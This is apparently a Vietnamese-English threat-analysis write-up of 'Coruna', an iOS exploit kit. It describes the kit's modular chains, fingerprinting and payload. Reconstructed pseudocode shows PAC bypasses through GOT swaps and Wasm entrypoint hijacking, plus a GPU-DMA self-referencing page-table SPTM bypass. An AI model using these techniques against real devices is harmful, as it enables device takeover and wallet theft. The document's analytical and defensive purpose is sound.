Coruna -- Nation-State-Grade iOS Exploit Kit
Coruna là exploit kit iOS mạnh nhất từng được công khai phân tích. Chứa 27 exploits tổ chức thành 5 full chains, cover iOS 13.0 đến 17.2.1. Được Google GTIG phân tích năm 2025-2026, đáng chú ý vì engineering quality ở cấp nation-state nhưng bị proliferate sang cybercrime.
Overview
| Field | Detail |
|---|---|
| Phát hiện bởi | Google Threat Intelligence Group (GTIG) |
| Công bố | March 2026 |
| iOS range | 13.0 – 17.2.1 |
| Số exploits | 27 exploits trong 5 full chains |
| Delivery | Watering hole (hidden iframe, zero-click in browser) |
| Payload | PlasmaLoader -> inject vào powerd daemon |
| Threat actors | Surveillance vendor customer -> UNC6353 (Russia) -> UNC6691 (crypto theft) |
| Link Kaspersky | Chia sẻ code với Operation Triangulation components |
Kiến Trúc Tổng Thể
Coruna là self-contained HTML file, embed dưới dạng hidden iframe (zero dimensions). Không cần user interaction – exploit chạy hoàn toàn trong browser bằng JavaScript, hoàn thành trong vài giây.
Victim visits compromised website
|
v
Hidden iframe loads Coruna HTML
|
+---> Fingerprint device (iPhone model + iOS version)
|
+---> Select appropriate chain (1 of 5)
|
+---> Execute chain:
Stage 1: WebKit RCE ----> Code execution in WebContent
Stage 2: PAC Bypass ----> Defeat pointer authentication
Stage 3: Sandbox Escape ----> Escape WebContent sandbox
Stage 4: Kernel Exploit ----> Kernel read/write
Stage 5: PPL/SPTM Bypass ----> Full device control
Stage 6: Payload ----> PlasmaLoader inject vào powerd
Runtime Fingerprinting và Chain Selection
Coruna sử dụng fingerprinting phức tạp để chọn đúng exploit chain tại runtime. Đây là yếu tố quan trọng nhất cho độ tin cậy cao (không crash device vì chọn sai exploit).
// Pseudocode reconstructed from GTIG analysis
// Coruna HTML contains ALL 5 chains — selects at runtime
function selectChain() {
// Step 1: Detect iOS version via multiple signals
let version = detectiOSVersion();
// Techniques:
// - navigator.userAgent parsing (unreliable, can be spoofed)
// - CSS feature detection (@supports queries)
// - WebGL renderer string (GPU model -> device model)
// - JavaScript API availability (newer APIs = newer iOS)
// - Performance timing side channels (execution speed signatures)
// Step 2: Detect device model
let model = detectDeviceModel();
// Techniques:
// - Screen resolution (window.screen.width/height)
// - WebGL RENDERER string -> GPU -> chip -> device
// - devicePixelRatio
// - Available memory (performance.memory where available)
// Step 3: Select chain based on (version, model) tuple
if (version >= 17.0 && version <= 17.2) {
return chain5_ios17(); // Cassowary + Seedbell_17 + Gruber + Rocket
} else if (version >= 16.0 && version < 17.0) {
return chain4_ios16(); // Terrorbird + Seedbell_16_6 + Parallax + Sparrow
} else if (version >= 15.0 && version < 16.0) {
return chain3_ios15(); // Bluebird + Breezy15/Seedbell + Photon + Carbone
} else if (version >= 14.0 && version < 15.0) {
return chain2_ios14(); // Bluebird + Breezy + Pendulum + Gallium
} else if (version >= 13.0 && version < 14.0) {
return chain1_ios13(); // Bluebird + Breezy + Neutron/Dynamo + Quark
}
// Unknown version -> abort (don't risk crash)
return null;
}
// Each chain function returns a sequence of exploit modules
function chain5_ios17() {
return {
webkit_rce: cassowary, // WebKit entry point
pac_bypass: seedbell_17, // PAC defeat
sandbox_escape: ironloader, // Escape WebContent
kernel_exploit: gruber, // PUAF -> physrw
ppl_bypass: rocket, // GFX DMA -> SPTM bypass
payload: plasmaloader, // Inject into powerd
};
}
Tại sao modular architecture quan trọng:
- Khi Apple patch một WebKit bug, chỉ cần swap WebKit module (vd Bluebird -> Terrorbird)
- Mỗi module có interface chuẩn: input = primitive từ stage trước, output = primitive cho stage sau
- Modules được test độc lập -> confidence cao khi combine
- Giống software engineering: separation of concerns, loose coupling
27 Exploits – Chi Tiết Từng Category
WebKit RCE (5 exploits)
Ba đường WebKit RCE độc lập, chọn tại runtime:
| Codename | Target | Technique |
|---|---|---|
| Buffout | macOS Safari | NaN-boxing type confusion |
| Jacurutu | macOS fallback | JIT structure check elimination + Web Worker retry |
| Bluebird | iOS Safari (older) | OfflineAudioContext heap corruption + SVG attribute manipulation |
| Terrorbird | iOS Safari (newer) | Variant of Bluebird cho newer WebKit |
| Cassowary | iOS Safari (latest) | Additional WebKit entry point |
Tất cả converge vào common arbitrary memory read/write primitive trong WebContent process.
PAC Bypass (5 exploits)
| Codename | iOS Target | Technique |
|---|---|---|
| Breezy | iOS 13-14 | Confused deputy attack – swap unsigned GOT entries trong Apple system frameworks, trigger legitimate PAC-authenticated call paths dọc attacker-substituted data |
| Breezy15 | iOS 15 | Updated Breezy variant |
| Seedbell | iOS 15-16 | Alternative confused deputy approach |
| Seedbell_16_6 | iOS 16.6 | Updated Seedbell variant |
| Seedbell_17 | iOS 17 | Latest PAC bypass variant |
Deep Dive: PAC Bypass via Confused Deputy
Core insight: Apple sign pointers với PAC (Pointer Authentication Codes). Forge PAC cần biết signing key. NHƯNG: không phải MỌI pointer đều được sign. Đặc biệt, GOT (Global Offset Table) entries trong dyld shared cache là unsigned vì chúng được resolve tại load time bởi dyld. Coruna lợi dụng điều này.
// === GOT Entry Swap Technique ===
//
// Mỗi framework có GOT section chứa function pointers
// Những pointers này KHÔNG được PAC-sign vì:
// 1. dyld resolve chúng tại load time (trước khi PAC enforced)
// 2. Chúng nằm trong writable __DATA segment
// 3. PAC signing GOT entries sẽ break lazy binding
//
// Attack:
// 1. Có arbitrary read/write trong WebContent process (từ WebKit RCE)
// 2. Tìm GOT entry của framework function X trong shared cache
// 3. Overwrite GOT[X] với địa chỉ function Y
// 4. Khi legitimate code gọi X(), nó actually gọi Y()
// 5. Legitimate code ĐÃ SIGN return address với PAC
// 6. => Function Y() chạy với PAC-valid call stack
// Pseudocode for Breezy/Seedbell PAC bypass:
// Step 1: Locate target framework's GOT in memory
// WebContent process loads many Apple frameworks
// Find GOT section of target framework (e.g., CoreFoundation)
uint64_t cf_got_base = find_got_base("CoreFoundation");
// Step 2: Identify unsigned GOT entry for target function
// Example: CFRelease's GOT entry
uint64_t cfrelease_got = cf_got_base + CFRELEASE_GOT_OFFSET;
uint64_t original_cfrelease = read64(cfrelease_got); // Original value
// Step 3: Replace GOT entry with attacker's target function
// Replace CFRelease with a gadget or function we want to call
uint64_t gadget_addr = find_gadget(); // e.g., system() or mmap()
write64(cfrelease_got, gadget_addr);
// Step 4: Trigger legitimate code path that calls CFRelease
// The CALLER uses PAC-signed return address
// The CALLER is legitimate Apple code
// => PAC checks pass because caller is authentic
// => But actual function called is our gadget!
trigger_cfrelease_call(controlled_argument);
// Step 5: Restore original GOT entry
write64(cfrelease_got, original_cfrelease);
// === WebAssembly Module as Native Call Primitive ===
//
// Coruna constructs a 306-byte Wasm module inline trong JavaScript
// Module is compiled by JSC -> creates native code page
// Trick: hijack Wasm dispatch pointer to call arbitrary functions
// JavaScript (reconstructed from GTIG analysis):
const wasm_bytes = new Uint8Array([
0x00, 0x61, 0x73, 0x6D, // \0asm magic
0x01, 0x00, 0x00, 0x00, // version 1
// ... 306 bytes total ...
// Module exports a single function
// Function body is minimal (just return)
]);
const module = new WebAssembly.Module(wasm_bytes);
const instance = new WebAssembly.Instance(module);
// JSC compiles Wasm -> native ARM64 code
// JSC stores function pointer in WasmCallee object:
// WasmCallee->m_entrypoint = native_code_address
// Step 1: Find WasmCallee object in memory (via WebKit r/w primitive)
let callee_addr = find_wasm_callee(instance);
// Step 2: Read m_entrypoint — this is a PAC-signed pointer
let original_entry = read64(callee_addr + ENTRYPOINT_OFFSET);
// Step 3: Replace m_entrypoint with target function address
// Key: JSC's Wasm dispatch path does NOT re-verify PAC on the
// entrypoint pointer in all configurations
// (This is the confused deputy — JSC trusts its own callee object)
write64(callee_addr + ENTRYPOINT_OFFSET, target_function_addr);
// Step 4: Call Wasm function from JavaScript
// JSC dispatches through WasmCallee->m_entrypoint
// => Calls our target_function_addr instead of Wasm code
// => Arguments passed via Wasm calling convention
// (registers x0-x7 on ARM64)
instance.exports.exported_function(arg0, arg1, arg2);
// This actually calls: target_function_addr(arg0, arg1, arg2)
Tại sao kỹ thuật này defeat PAC:
- PAC protect function pointers bằng signing key + context
- NHƯNG: confused deputy không forge signatures – nó TRICK legitimate signed code
- GOT entries không được sign -> swap trực tiếp
- Wasm dispatch path tin tưởng callee object -> swap entrypoint
- Kết quả: arbitrary function calls MÀ KHÔNG bao giờ forge PAC signature
Sandbox Escape (2 exploits)
| Codename | Technique |
|---|---|
| IronLoader | Exploit system service reachable từ WebContent sandbox |
| NeuronLoader | Alternative sandbox escape path |
Kernel Privilege Escalation (6 exploits)
| Codename | iOS Target | Technique |
|---|---|---|
| Dynamo | iOS 13-14 | Kernel info leak (CVE-2020-27950) |
| Neutron | iOS 13-14 | Kernel memory corruption |
| Pendulum | iOS 14-15 | Different kernel attack vector |
| Photon | iOS 15-16 | PUAF-based kernel r/w |
| Parallax | iOS 16 | Updated variant |
| Gruber | iOS 17 | Latest kernel exploit, PUAF -> physrw |
PPL / SPTM Bypass (5 exploits)
| Codename | Target | Technique |
|---|---|---|
| Quark | iOS 13-14 (PPL) | PPL logic bug |
| Gallium | iOS 14-15 (PPL) | Alternative PPL bypass |
| Carbone | iOS 15-16 (PPL) | Updated PPL bypass |
| Sparrow | iOS 16 (PPL) | Variant |
| Rocket | iOS 17 (SPTM) | GFX coprocessor -> self-referencing page table entry -> arbitrary physical write |
Deep Dive: Rocket (SPTM Bypass)
Đây là phần advanced nhất – bypass SPTM trên iOS 17. SPTM (Secure Page Table Monitor) chạy tại EL2 và kiểm soát mọi thay đổi page table từ CPU. Rocket bypass SPTM bằng cách dùng GFX coprocessor DMA để ghi trực tiếp vào physical memory chứa page tables.
Tại Sao SPTM Không Protect DMA
=== CPU Path (SPTM-protected) ===
CPU (EL0/EL1)
|
v
MMU (VA -> PA translation)
|
v
SPTM (EL2) -- validates page type transitions
| - Tracks: user page, kernel page, PT page, etc.
v - Blocks: user code modifying PT pages
Physical Memory
=> Mọi CPU memory write đi qua SPTM
=> Không thể modify page tables từ EL0 hoặc EL1
=== GFX Coprocessor Path (NOT SPTM-protected) ===
GFX Coprocessor (GPU)
|
v
IOMMU (IOVA -> PA translation)
|
v
Physical Memory <- KHÔNG có SPTM check!
=> IOMMU là hardware riêng, cấu hình riêng
=> Nếu IOMMU cho phép GPU access page table pages...
=> GPU write -> modify page tables -> bypass SPTM!
GFX DMA Access to Page Table Memory
// Rocket exploit flow:
// Pre-condition: Gruber kernel exploit đã đạt được PUAF -> limited physrw
// Có thể đọc/ghi user pages nhưng KHÔNG thể modify page tables
// (SPTM blocks page type transition: user -> page_table)
// Step 1: Identify GPU command submission mechanism
//
// Apple GPU dùng command buffer ring trong shared memory
// Kernel driver (AGXAccelerator) ghi GPU commands vào ring
// GPU đọc và execute commands từ ring
//
// Sau kernel exploit: attacker có thể GHI vào command buffer
// => Attacker submit arbitrary GPU commands
// Step 2: Scan physical memory for page table pages
// Via PUAF primitive, đọc physical memory để tìm page tables
// Page table entries có format đặc trưng:
// Bits [1:0] = 0b11 (valid table/page descriptor)
// Bits [47:12] = physical address (page-aligned)
// Bits [63:48] = attribute flags
uint64_t find_l3_page_table(void) {
// Scan physical memory pages
for (uint64_t pa = DRAM_BASE; pa < DRAM_END; pa += PAGE_SIZE) {
volatile uint64_t *page = map_physical_via_puaf(pa);
int valid_pte_count = 0;
for (int i = 0; i < 512; i++) { // 512 entries per L3 table
uint64_t entry = page[i];
if ((entry & 0x3) == 0x3 && // Valid descriptor
(entry & 0xFFFF000000000000ULL) != 0) { // Has attributes
valid_pte_count++;
}
}
if (valid_pte_count > 100 && valid_pte_count < 512) {
// Looks like a partially-filled L3 page table
return pa;
}
}
return 0;
}
// Step 3: Check if IOMMU allows GPU access to this address
// Apple's IOMMU config excludes SOME physical ranges
// But historically had gaps — certain PT pages in allowed ranges
// Rocket exploits these gaps
// Step 4: Craft GPU DMA command to create self-referencing PTE
uint64_t l3_phys = find_l3_page_table();
struct gpu_dma_write_cmd {
uint32_t opcode; // GPU DMA write command
uint32_t flags; // Command flags
uint64_t dst_phys_addr; // Target physical address
uint64_t write_value; // Value to write
uint32_t write_size; // Size in bytes
};
// Write to last entry of L3 table (index 511)
// Value = physical address of L3 table ITSELF + valid PTE attributes
struct gpu_dma_write_cmd cmd = {
.opcode = GPU_CMD_DMA_WRITE,
.dst_phys_addr = l3_phys + (511 * 8), // PTE slot 511
.write_value = l3_phys // Self-reference!
| (0x3ULL) // Valid table descriptor
| (0x1ULL << 6) // Access Flag
| (0x1ULL << 10) // AF
| (0x40ULL << 48), // Attributes: EL0 accessible
.write_size = 8,
};
submit_to_gpu_ring_buffer(&cmd);
// GPU executes command -> writes to page table memory via DMA
// SPTM KHÔNG biết vì write không đi qua CPU MMU
// L3[511] now points to L3 table itself = self-referencing PTE!
Self-Referencing PTE Exploitation
Sau khi tạo self-referencing PTE:
L3 Page Table (at physical address PA_L3):
+----------+------+------------------------------------------+
| Index | PTE | Maps to |
+----------+------+------------------------------------------+
| L3[0] | PTE0 | Original data page (normal mapping) |
| L3[1] | PTE1 | Original data page (normal mapping) |
| ... | ... | ... |
| L3[510] | PTE | Original data page |
| L3[511] | PTE | PA_L3 ITSELF (self-reference!) |
+----------+------+------------------------------------------+
Khi CPU access virtual address V mapped by L3[511]:
MMU walks: TTBR -> L1 -> L2 -> L3[511] -> PA_L3
PA_L3 IS the L3 table
=> CPU reads/writes L3 table entries as DATA
volatile uint64_t *l3_as_data = (uint64_t *)V;
// l3_as_data[0] = L3[0] = PTE cho first mapped page
// l3_as_data[1] = L3[1] = PTE cho second mapped page
// ...
// l3_as_data[511] = L3[511] = the self-referencing PTE itself
// === Map arbitrary physical address ===
uint64_t target_phys = 0x200000000; // AMCC registers
l3_as_data[0] = target_phys | PTE_VALID | PTE_AF | PTE_EL0_RW;
// Flush TLB entry for L3[0]'s virtual address
asm volatile("dsb sy; tlbi vaae1, %0; dsb sy; isb"
: : "r"(va_for_l3_0 >> 12));
// Now access VA mapped by L3[0] = access AMCC registers at 0x200000000
volatile uint64_t *amcc = (uint64_t *)va_for_l3_0;
uint64_t ktrr_base = amcc[0x680 / 8]; // RORGNBASEADDR
// ktrr_base = physical address of kernel __TEXT!
// Map kernel data segment:
l3_as_data[1] = (ktrr_base + KERNEL_DATA_OFFSET) | PTE_VALID | PTE_AF | PTE_EL0_RW;
// ...flush TLB...
// Access VA for L3[1] = read/write kernel data
// => FULL KERNEL CONTROL, SPTM BYPASSED
Bài học: SPTM chỉ protect CPU-initiated memory access. DMA từ coprocessors (GPU, Neural Engine, …) là separate attack surface. Apple cần audit IOMMU configuration cho EVERY coprocessor.
Payload: PlasmaLoader (PLASMAGRID)
Sau khi full device compromise:
1. Inject vào powerd (root-level system daemon)
2. Masquerade as com.apple.assistd (legitimate Apple service identifier)
3. Persist across app relaunches (nhưng không survive reboot)
Capabilities:
+-- Hook functions trong 18+ cryptocurrency wallet apps
| (MetaMask, Phantom, BitKeep, Trust Wallet, ...)
+-- Scan Apple Notes cho BIP39 seed phrases
+-- Scan cho keywords: "backup phrase", "bank account", "recovery"
+-- Intercept clipboard content
+-- Exfiltrate data qua C2 server
Proliferation Timeline
??? -- 2024: Development (English-speaking developer, professional codebase)
Early 2025: Surveillance vendor sells to state customer -> targeted operations
Mid 2025: UNC6353 (Russia) uses for watering hole attacks on Ukrainian users
Late 2025: UNC6691 uses fake Chinese finance websites for crypto theft
March 2026: Google GTIG publishes full analysis
Proliferation pattern: Spy tool -> state espionage -> organized crime. Exploit kits “trickle down” từ nation-state to cybercriminals.
Mối Liên Hệ Với Operation Triangulation
Kaspersky phân tích cho thấy Coruna shares code components với Operation Triangulation:
- Cùng style MMIO-based PPL bypass
- Tương tự kỹ thuật kernel exploitation
- Có thể cùng vendor/developer hoặc shared exploit marketplace
Bài Học Kỹ Thuật
1. Modular Exploit Architecture
27 exploits tổ chức modular:
- Mỗi stage có multiple alternatives
- Runtime fingerprinting chọn đúng combination
- Một WebKit bug bị patch? -> swap sang alternative
-> Resilient against individual patches
Architecture diagram:
+-- WebKit RCE ----+-- Buffout (macOS)
| +-- Jacurutu (macOS fallback)
| +-- Bluebird (iOS older)
| +-- Terrorbird (iOS newer)
| +-- Cassowary (iOS latest)
|
+-- PAC Bypass ----+-- Breezy (iOS 13-14)
| +-- Breezy15 (iOS 15)
| +-- Seedbell (iOS 15-16)
| +-- Seedbell_16_6 (iOS 16.6)
| +-- Seedbell_17 (iOS 17)
|
+-- Sandbox -------+-- IronLoader
| +-- NeuronLoader
|
+-- Kernel --------+-- Dynamo + Neutron (iOS 13-14)
| +-- Pendulum (iOS 14-15)
| +-- Photon (iOS 15-16)
| +-- Parallax (iOS 16)
| +-- Gruber (iOS 17)
|
+-- PPL/SPTM ------+-- Quark (iOS 13-14)
+-- Gallium (iOS 14-15)
+-- Carbone (iOS 15-16)
+-- Sparrow (iOS 16)
+-- Rocket (iOS 17)
Interface contract between stages:
WebKit RCE -> OUTPUT: arbitrary r/w in WebContent process
PAC Bypass -> INPUT: process r/w; OUTPUT: arbitrary function calls
Sandbox Escape -> INPUT: function calls; OUTPUT: code exec outside sandbox
Kernel Exploit -> INPUT: unsandboxed exec; OUTPUT: kernel r/w (or physrw)
PPL/SPTM -> INPUT: kernel r/w; OUTPUT: full physrw + page table control
2. PAC Bypass via Confused Deputy
Thay vì: forge PAC signatures (cần key leak)
Coruna: trick legitimate code chạy với attacker data
-> Entire class of PAC bypasses không cần biết keys
Key techniques:
1. GOT entry swap (unsigned pointers in __DATA)
2. Wasm entrypoint hijack (trusted callee object)
3. vtable corruption (object dispatch confusion)
Defense implications:
- Sign GOT entries? -> breaks lazy binding, performance impact
- Verify Wasm entrypoints? -> added in newer JSC versions
- Isolate framework __DATA? -> ASLR helps but not enough
3. Coprocessor as SPTM Bypass
SPTM protects CPU memory access
DMA từ coprocessors = separate trust boundary
-> Attack coprocessor's IOMMU -> bypass SPTM
-> Future research: GPU, ANE, ISP, DSP as kernel attack vectors
Apple's response:
- Tighten IOMMU configuration
- Add page type tracking to IOMMU
- Reduce coprocessor attack surface from kernel
- BUT: each new coprocessor = new DMA path to audit
4. Documentation Quality
Exploit code có docstrings, comments, English documentation
-> Designed for reuse, maintenance, and handoff
-> Professional software engineering applied to exploitation
-> Raises the bar: exploit development IS software engineering